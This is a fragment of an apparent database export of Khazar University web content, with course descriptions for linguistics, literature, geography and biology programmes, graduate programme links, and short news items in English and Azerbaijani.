mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LING 423: History of\r\nLinguistics (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: LING 215</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Origins and history of the development of linguistics, various\r\ntheories of the development of linguistics.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LIT 201: World\r\nChildren Literature (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: AZLL 105</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">Provides knowledge and skill in critical analysis of the\r\npurposes and strategies for teaching and evaluation of children’s literature.\r\nSurvey of literature for children from early childhood through junior high\r\nschool.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LIT 305-405: World\r\nLiterature 1-3 (6 credits each)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course covers study of pieces of literature created in\r\ndifferent countries of the world beginning from ancient times. The lives and\r\nactivities of leading figures in world literature and their most famous\r\nliterary works are studied in chronological order. The course is composed of\r\nthree parts. Each part lasts one semester and has a value of&nbsp;<strong>3 credits</strong>:</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:168.75pt;text-align:justify;text-indent:-.25in;margin-bottom:auto\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><em>LIT 305: World Literature 1: Ancient and\r\nMedieval Eastern Literature; History of Antique Literature</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of the instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:168.75pt;text-align:justify;text-indent:-.25in;margin-bottom:auto\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><em>LIT 308: World Literature 2: European\r\nLiterature during 13<sup>th</sup>-18<sup>th</sup>&nbsp;centuries</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: LIT 305</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:168.75pt;text-align:justify;text-indent:-.25in;margin-bottom:auto\"=\"\">·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n<strong><em>LIT 405: World Literature 3: European,\r\nAmerican, and Russian Literature during 19<sup>th</sup>-20<sup>th</sup>&nbsp;centuries</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: LIT 308</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LIT 505: Modern\r\nLiterary Process&nbsp;(6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main objective of this course is to understand development\r\ntrends in literature based on the analysis of literary works of recent years.\r\nThe course also covers issues like loyalty to literary traditions and relations\r\nbetween older and newer literary forces, reviews various pieces written in\r\ndifferent genres, and integration of Azerbaijani literature to world literature.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>LIT 507: Literary\r\nCritique (History and Theory)&nbsp;(6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: Consent of instructor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course studies the importance of literature from the\r\nperspective of society: harmony between social life and literature is\r\nevaluated, and literary works are analyzed in terms of society’s interests and\r\ndemands. Literary critique contributes to enhancing the quality of literary\r\nworks and to the evaluation of literature. It also helps the readers in\r\nunderstanding literary works correctly.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Major: History and Geography Education </strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 102 Earth Studies\r\n(6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main objective of this course is to deliver basic and\r\nfundamental knowledge regarding the planet Earth. Main sections: Earth as a\r\nPlanet, Layers of the Earth: Lithosphere, Atmosphere, Hydrosphere, Biosphere, and\r\nEnvironmental Problems of the Earth.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG\r\n204&nbsp;Meteorology and Hydrology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">In this course, students gain detailed information and knowledge\r\nabout the atmosphere and hydrosphere. Main sections: Energy and Radiation\r\nBudget of the Earth, Air and Climate, Water Circulation, Rivers, Oceans, Water\r\nManagement.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 211 Cartography (6\r\ncredits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main goal of this course is to instill basic knowledge\r\nregarding the science of cartography. Main sections: The Planet Earth, Cartographic\r\nGeneralization, Cartographic Projections, Maps, Map Making, Remote Sensing,\r\nGeographical Information Systems (GIS).</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 312 Tourism (6\r\ncredits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main goal of the course is to form solid background\r\nregarding tourism and tourism-related issues. Main sections: Tourism, Tourist\r\nRentals, Touristic Places of the World, Tourism in Europe, Hotel Management,\r\nMountain Tourism, Hiking, Tourism in Protected Territories and National Parks,\r\nTouristic Management, Tourism in Azerbaijan.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt\"=\"\"><strong><em>GEOG 202 Geology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The primary objective of this course is to deliver basic\r\nknowledge regarding the Geology of the Earth. Main sections: Hydrogeology,\r\nCrystallography, Geophysics.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 301 Physical\r\nGeography of the World (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main goal of this course is to form a solid\r\nbackground&nbsp;regarding the physical geography of the Earth. Main sections:\r\nPhysical Geography as a Science, Continents: Africa, America, Europe, Asia,\r\nAntarctica, Australia/Oceania; Oceans: Pacific Ocean, Indian Ocean, Atlantic\r\nOcean, Arctic Ocean.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>ENV 302 Environmental\r\nScience (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main objective of this course is to deliver fundamental\r\nknowledge about the nature and environment as well as environmental pollution.\r\nMain sections: Ecology, Environment, Environmental Pollution, Environmental\r\nProblems of Azerbaijan and Main Obstacles.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 302 Physical\r\nGeography of Azerbaijan (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The primary aim of this course is to deliver foundational\r\nknowledge regarding the physical geography of Azerbaijan. Regions of Azerbaijan\r\nare studied separately. Main sections: Geographical Situation of Azerbaijan,\r\nGeology of Azerbaijan, Mineral Resources, Climate, Rivers and Water Resources,\r\nCaspian Sea, Environmental Problems, Protected Territories, Natural Regions and\r\nSub-regions of Azerbaijan.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 412 Geography of\r\nthe Turkic World (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course serves to develop a solid background of the Turkic\r\nworld, including detailed knowledge of the current economic and social\r\ngeography. Main sections: Turkic Countries, Geographic Situation of the Turkic\r\nCountries, Natural Resources, Population, Turkic nations, Agriculture,\r\nIndustry, Turkey, Kazakhstan,&nbsp;Uzbekistan, Turkic Government bodies in\r\nRussia and China.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 401 Economic and\r\nSocial Geography of Azerbaijan (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main aim of this course is to deliver essential knowledge\r\nregarding the economic and social geography of Azerbaijan. Economic regions of\r\nAzerbaijan are studied separately. Main sections: Economic-Geographical\r\nSituation of Azerbaijan, Natural Resources of Azerbaijan, Population of\r\nAzerbaijan, Migration Problems, Demography of Azerbaijan, Economic Sectors,\r\nEconomic Geography of Azerbaijan, Agriculture, Management of Natural Resources,\r\nEconomic Regions of Azerbaijan and Main Problems.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 402 Economic and\r\nSocial Geography of the World (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course provides a solid background regarding economic and\r\nsocial geography of the world. Detailed knowledge regarding the regions and\r\ncountries should be delivered. Main sections: Natural Resources of the World\r\nand their Management, Population and Urbanization- Main Obstacles, Agriculture,\r\nIndustry, Economic and Social Regions of the World, World Countries such as\r\nUnited States of America, Germany, Japan, African Countries, Islamic Countries,\r\nTurkic Countries.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>ENV 415 Environmental Management (6 credits)</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course provides an overview of the key concepts and\r\nprinciples in environmental management, areas of global and national\r\nenvironmental concern, and strategies and tools for effective environmental\r\nmanagement.&nbsp; Main sections: Nature, Ecology, Environmental Problems, Air\r\nand Water Pollution, Soil Pollution, Climate Change, Carbon Management.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>GEOG 411 Historical\r\nGeography (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">The main goal of this course is to create a bridge between\r\ngeography and history and instill essential knowledge regarding the geography\r\nof historical civilizations. Main sections: Geographic Peculiarities of Ancient\r\nNations, Egypt, Rome, Greece.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Major: Biology and Chemistry Education&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>BIO 101: General\r\nBiology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course is designed to familiarize the students with three\r\nimportant aspects of biology at an introductory level. The first part deals\r\nwith cellular organization: cell structure, chemical constituents, cellular\r\nrespiration and photosynthesis, control of cellular activity, and the role of\r\nthe nucleus and cytoplasm. The second part deals with basic concepts in\r\ngenetics. The third part deals with biological activity at the level of the\r\norganism: structure and function of body parts, response of the organism to\r\ntits biological and physical environments, biological rhythms, and behavior.\r\nThe process of evolution is also covered.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>BIO 203 Cytology,\r\nhistology and embryology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>Prerequisite: BIO 101</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course is composed of 3 related sciences.&nbsp; The first\r\nis structural and functional analysis of the nuclear and cytoplasmic\r\ncompartments of the cell with emphasis on the microscopic and submicroscopic\r\nstructure of muscle, nerve, secretory and sensory cells. Histology focuses on\r\nmicrostructures of the human body and their related functions, and is divided\r\ninto general histology that studies the cell and intracellular matrix of the 4\r\nbasic types of tissue, and special histology that studies how the tissues\r\nconstitute the organs in various systems. Embryology mainly concerns the developmental\r\nprocesses and mechanism of a human being, and is divided into general\r\nembryology that studies the formations and development of germ cells,\r\nfertilization and early development of a human embryo, and special embryology\r\nthat studies the formation and malformations of different organs. The teaching\r\nprogram of cytology, histology and embryology includes lectures and laboratory\r\npractices.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>BIO 217: General Plant\r\nBiology (anatomy and plant physiology) (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;This course is the basic introductory lecture and\r\nlaboratory course designed especially for Biological Sciences and Education\r\nDepartment majors. This course introduces the student to the basics of plant\r\nbiology including plant anatomy and plant morphology, physiology, metabolism,\r\nreproduction and ecology. This course covers cell and tissue types, development\r\nof primary and secondary tissues, and structure of vegetative organs with\r\nemphasis on angiosperms. The course continues with an introduction to plant\r\nphysiology of higher plants with emphasis on biochemical, cell biological and\r\nmolecular aspects of how plants function. Unique aspects of regulation of plant\r\nmetabolism including photosynthesis, respiration, growth and stress responses\r\nare emphasized. Introduces concepts of structure-function relationships,\r\naspects of organismal maintenance, environmental response, growth, and\r\nreproduction are related to structure, and comparisons made between\r\nspecializations in representative plants. The laboratory exercises are designed\r\nto study plant processes such as respiration, photosynthesis, tropisms, and\r\nsecondary metabolite accumulation.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>BIO312: Systematical Botanic\r\n(6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify;line-height:11.25pt\"\"=\"\">T<a href=\"http://www.khazar.org/section.php?id=572\" style=\"font-weight:bold\"></a>his course covers\r\nbasic and contemporary systematic principles and methods as applied to plants,\r\nincluding classification, identification skills, phylogenetics, and surveys of\r\nimportant families of major groups of plants via lectures and lab practice. The\r\ncourse continues with introduction to plant morphology including eukaryotic\r\nalgae, fungi, bryophytes, and vascular plants to (typically) a phylum to\r\nordinal level.&nbsp; Emphasis is on comparative morphology and life cycles. The\r\ntheoretical foundations of plant taxonomy and the types of evidences used in\r\nconstructing plant classification and identification procedures are explained.\r\nStudents are expected to achieve the following objectives after successfully\r\ncompleting the course: describe a plant using botanical terms, learn key\r\ncharacteristics for identification of important families of ferns, allies,\r\nconifers and other flowering plants, recognize large and common families of\r\nflowering plants.&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>BIO 312: Systematical\r\nZoology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">This course provides an overview of the invertebrate and\r\nvertebrate animals, including sponges, cnidarians, flatworms, nematodes,\r\nannelids, mollusks, arthropods, echinoderms, minor protostome and deuterostome\r\ngroups, invertebrate chordates, fishes, amphibians, reptiles, birds, and\r\nmammals. Lectures cover various aspects of the biology of animals, including\r\nanimal classification and phylogeny, anatomical structure and function,\r\nbehavior, biogeography and roles in the environment. Laboratory practical work\r\nemphasizes observation and investigation of living and preserved specimens,\r\nincluding some dissection. Independent projects are encouraged to improve\r\nresearch skills.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:7.5pt;text-align:justify\"=\"\"><strong><em>&nbsp;BIO 434:\r\nMolecular Biology (6 credits)</em></strong><em></em></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:.0001pt;text-align:justify\"=\"\">An introductory course covering the structure and properties of\r\nmacromolecules, their interactions, organization of genes, ions chromosomes,\r\nreplication and transcription of genetic material, protein synthesis and\r\ngenetic engineering techniques.</p>'),(528,342,'en','Graduate  Programs','Graduate  Programs','<p>There are a number of graduate studies for M.S., M.A. and Ph.D. degrees at the School which opened recently.&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/MA_Azerbaijani_language.pdf\">MA&nbsp;in&nbsp;Azerbaijani&nbsp;language</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/MA_Azerbaijani_literature.pdf\">MA in&nbsp;Azerbaijani&nbsp;literature</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/MA_Theory_and_History_Education.pdf\">MA in&nbsp;Theory&nbsp;and&nbsp;History&nbsp;Education</a>&nbsp;</p><p><a href=\"http://www.khazar.org/files/pdf/MA_in_Educational_Administration.pdf\">MA&nbsp;in&nbsp;Educational&nbsp;Administration</a></p><p><a href=\"http://www.khazar.org/files/pdf/MA_in_Educational_Administration.pdf\"></a><a href=\"http://www.khazar.org/files/pdf/MA_General_linguistics.pdf\">MA in&nbsp;General&nbsp;linguistics</a></p>'),(529,343,'az','Tədqiqat','Tədqiqat','<p>Fakültə tədqiqatının geniş sahələrinə\r\naşağıdakılar daxildir:</p>\r\n<ul><li>Təhsil İdarəsi</li><li>Müqayisəli Təhsil</li><li>Tarix və Təhsil fəlsəfəsi</li><li>Təlimat və müəllimlik</li><li>Təhsil və Akkreditasiyanın keyfiyyəti&nbsp;</li></ul>'),(530,343,'en','Research','Research','<p>The broad areas of research at the School\r\ninclude, but are not limited to:</p>\r\n<ul><li>Education Administration</li><li>Comparative Education</li><li>History and Philosophy of Education</li><li>Instruction and Teaching</li><li>Quality of Education and Accreditation&nbsp;&nbsp;</li></ul>'),(531,350,'en','Fall 2018 Course Schedule','Fall 2018 Course Schedule','<p>&nbsp;</p><p><img src=\"/files/15_10_13_images.png\" style=\"border:0px  #000000;width:250px;height:83px;margin:7px;float:left;vertical-align:baseline\"></p><p><br></p><p><br></p><p><br></p><p><a href=\"http://www.khazar.org/files/social/1/Sch_F18.pdf\">Schedule_(pdf)_FALL2018</a></p><p><br></p>'),(2338,1422,'az','Sejong Universiteti Xəzər Universiteti ilə əməkdaşlığa maraq göstərir','2016-cı il oktyabrın 12-də Sejong Universitetinin (Seul, Cənubi Koreya) nümayəndələri Xəzər universiteti ilə əməkdaşlıq məsələlərini müzakirə etmək...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 12-də Sejong Universitetinin (Seul, Cənubi Koreya)\r\nnümayəndələri Xəzər universiteti ilə əməkdaşlıq məsələlərini müzakirə etmək\r\nüçün universitetdə oldular. Görüş universitetin “Neftçilər” kampusunda baş\r\ntutdu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Sejong Universiteti nümayəndə heyətinin tərkibinə proqram rəhəbəri Joshua Han və koordinator Otabek Juraev daxil idilər.\r\nXəzər Universitetini isə rektor Dr. Hassan Niknafs və\r\nBeynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərva təmsil edirdilər.&nbsp; </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Görüşdə tərəflər tələbə mübadiləsi, müştərək dərəcə proqramları və başqa birgə\r\nlayihələrə maraqlarını ifadə etdilər. Rəsmi əməkdaşlığa başlamaq üçün iki\r\nuniversitet arasında yaxın günlərdə anlaşma memorandumu imzalanması gözlənilir.&nbsp;</p>'),(2339,1422,'en','Sejong University Representatives Visit Khazar University','On October 12, 2016, representatives of Sejong University (Seoul, Korea) visited Khazar University to initiate cooperation between the two universities...','<p>On\r\nOctober 12, 2016, representatives of Sejong University (Seoul, Korea) visited Khazar\r\nUniversity to initiate cooperation between the two universities. The meeting was held on the university’s\r\nNeftchilar campus.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:115%\"\"=\"\">Representatives of Sejong University included Mr. Joshua Han, Program\r\nManager and Mr. Otabek Juraev, Associate Coordinator. Participants from Khazar University included Dr. Hassan\r\nNiknafs, President, and Ms. Turan Jafarova, Director of the International\r\nAffairs Office. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:115%\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:115%\"\"=\"\">The parties\r\nexpressed interest in exchanging students, developing joint/double degree\r\nprograms, and carrying out other joint projects. A memorandum of understanding\r\nwill soon be signed between the two universities to start the official\r\ncoopertaion.&nbsp;</p>'),(2340,1423,'az','Amerikalı ifaçı muğam konserti verəcək','2016-cı il oktyabrın 17-də saat 12:00-də “Mərmər” salonunda (Xəzər Universitetinin “Neftçilər” kampusunda) Amerika Muğam Cəmiyyətinin sədri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.3pt;line-height:normal\"\"=\"\">2016-cı il oktyabrın 17-də saat 12:00-də “Mərmər”\r\nsalonunda (Xəzər Universitetinin “Neftçilər” kampusunda) Amerika Muğam Cəmiyyətinin\r\nsədri, tanımış musiqiçi Ceffri Verbok müxtəlif musiqi alətlərdə ifası ilə solo\r\nkonserti verəcək. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:22.3pt;line-height:normal\"\"=\"\">Giriş sərbəstdir, bütün maraqlananlar dəvətlidirlər.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:22.3pt;line-height:normal\"\"=\"\">&nbsp;</p>'),(2341,1424,'az','“Media və təhsil dialoqu” mövzusunda təlim-konfrans keçirildi','2016-cı il oktyabrın 13-də Bakıdakı hotellərdən birində “Media və təhsil dialoqu” mövzusunda təlim-konfrans keçirildi...','<p>2016-cı il\r\noktyabrın 13-də Bakıdakı hotellərdən birində “Media və təhsil dialoqu”\r\nmövzusunda təlim-konfrans keçirildi. Azərbaycan Respublikası Təhsil\r\nNazirliyinin təlim-konfransında respublikanın bütün təhsil müəssisələrinin mətbuat\r\nxidmətlərinin nümayəndələri iştirak edirdilər.</p>\r\n<p>Müzakirələrdə Xəzər\r\nUniversitetinin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli\r\niştirak etdi.</p>'),(2420,1457,'en','Student Union Holds “Different Worlds” Art Exhibit','On October 7, 2016, the Khazar University Student Union held an art exhibit entitled “Different Worlds” featuring works by children who grew up in children’s homes...','<p>On October 7, 2016, the Khazar\r\nUniversity Student Union held an art exhibit entitled “Different Worlds”\r\nfeaturing works by children who grew up in children’s homes as well as in\r\ntraditional families. The theme of the exhibit, “My World,” was reflected by the\r\nworks of both groups of children. This event also created an opportunity for\r\nchildren to express their inner worlds. The objective of the exhibit was to\r\nintegrate two different groups of children (15 from a children’s home and 15\r\nfrom families) and to decrease the differences among them.&nbsp;</p>'),(2410,1465,'az','Sillabuslar','Sillabuslar','<h3>Yaz&nbsp;2018</h3><p><a href=\"http://www.khazar.org/files/edu_depart/Curriculum_and_Assessment_Strategies_Konul_Mahyaddinova.pdf\">Curriculum and Assessment Strategies</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Edebiyyatin_Tedrisi_Metodikasi_Afet_S.pdf\">Teaching methods of Literature</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Musiqi_MetodikasininTedrisi_Ramina_Aghayeva.pdf\">Musiqi metodikasının tədrisi</a>  <br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Telim_metodlar%C4%B1_Konul_Mehyeddinova.pdf\">Teaching Methods</a></p><p><a href=\"http://www.khazar.org/files/edu_depart/Tehsil_Psixologiyasi_Anar_Babayev.pdf\">Educational Psychology</a></p><p><a href=\"http://www.khazar.org/files/edu_depart/Introduction_to_Education_Ulkar_Bayramova.pdf\">Introduction&nbsp;to&nbsp;Education</a></p><p><a href=\"http://www.khazar.org/files/edu_depart/Classroom_management_Goshgar_Maharramov.pdf\">Classroom management</a>  <br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Historical_and%20Philosophical_Foundations_of_Education_Qosqar_Maharramov.pdf\">Historical and Philosophical Foundations of Education</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Introduction_to_Education_Qosqar_Maharramov.pdf\">Introduction&nbsp;to&nbsp;Education</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Aktiv_Pedaqoji_T%C9%99cr%C3%BCb%C9%99_Sevda_%C4%B0smay%C4%B1lova.pdf\">Aktiv Pedaqoji Təcrübə</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Research_methodology_QosqarMaharramov.pdf\">Tədqiqat metodları</a><br></p><p><a href=\"http://www.khazar.org/files/edu_depart/Kurikulum_ve_qiymetl%C9%99ndirme_strategiyasi_Xuraman_Nagizade.pdf\">Kurikulum və qiymətləndirmə strategiyası</a><br></p><br><h3><br></h3><h3>Payız&nbsp;2017</h3><p><a 